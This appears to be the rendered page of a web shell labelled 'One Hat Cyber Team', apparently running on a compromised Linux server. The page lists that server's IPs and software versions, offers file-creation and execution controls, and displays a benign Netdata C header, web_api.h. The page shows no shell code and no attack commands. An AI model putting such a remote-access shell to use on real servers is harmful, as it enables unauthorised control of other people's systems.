⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
local
/
src
/
netdata
/
web
/
api
/
View File Name :
web_api.h
// SPDX-License-Identifier: GPL-3.0-or-later #ifndef NETDATA_WEB_API_H #define NETDATA_WEB_API_H 1 #include "daemon/common.h" #include "web/api/http_header.h" #include "web/api/http_auth.h" #include "web/api/badges/web_buffer_svg.h" #include "web/api/ilove/ilove.h" #include "web/api/formatters/rrd2json.h" #include "web/api/queries/weights.h" struct web_api_command { const char *api; uint32_t hash; HTTP_ACL acl; HTTP_ACCESS access; int (*callback)(RRDHOST *host, struct web_client *w, char *url); unsigned int allow_subpaths; }; struct web_client; int web_client_api_request_vX(RRDHOST *host, struct web_client *w, char *url_path_endpoint, struct web_api_command *api_commands); static inline void fix_google_param(char *s) { if(unlikely(!s || !*s)) return; for( ; *s ;s++) { if(!isalnum(*s) && *s != '.' && *s != '_' && *s != '-') *s = '_'; } } int web_client_api_request_weights(RRDHOST *host, struct web_client *w, char *url, WEIGHTS_METHOD method, WEIGHTS_FORMAT format, size_t api_version); bool web_client_interrupt_callback(void *data); #include "web_api_v1.h" #include "web_api_v2.h" #endif //NETDATA_WEB_API_H